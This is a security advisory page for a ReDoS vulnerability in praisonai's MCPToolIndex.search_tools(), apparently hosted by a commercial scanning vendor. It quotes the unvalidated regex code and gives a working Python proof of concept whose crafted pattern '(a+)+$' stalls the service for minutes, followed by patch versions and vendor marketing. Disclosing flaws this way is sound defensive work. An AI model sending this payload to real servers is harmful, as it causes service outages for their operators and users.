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GHSA-8w9j-hc3g-3g7f

MEDIUM

GHSA-8w9j-hc3g-3g7f is a medium-severity (CVSS 6.5) CWE-1333 vulnerability in praisonai. O3 Security confirms whether GHSA-8w9j-hc3g-3g7f is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()

Also known asCVE-2026-34939PYSEC-2026-2907
Published
Apr 1, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

Details

tool_index.py:365 (source) -> tool_index.py:368 (sink)

# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
    import re

# sink -- compiled and applied with no timeout or exception handling
    pattern = re.compile(query, re.IGNORECASE)
    for tool in self.get_all_tools():
        if pattern.search(tool.name) or pattern.search(tool.hint):
            matches.append(tool)

PoC

# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path

mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
    {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
    "server": "test_server", "available": True, "auth_required": False,
    "last_sync": time.time(), "tool_count": 1, "error": None
}))

from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()

start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s

Impact

A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiall versions4.5.90

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update praisonai to 4.5.90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8w9j-hc3g-3g7f is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-8w9j-hc3g-3g7f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8w9j-hc3g-3g7f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. ### Details `tool_index.py:365` (source) -> `tool_index.py:368` (sink) ```python # source -- query taken directly from caller, no validation def search_tools(self, query: str) -> List[ToolInfo]: import re # sink -- compiled and applied with no timeout or exception handli
O3 Security · Impact-Aware SCA

Is GHSA-8w9j-hc3g-3g7f in your dependencies?

O3 detects GHSA-8w9j-hc3g-3g7f across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.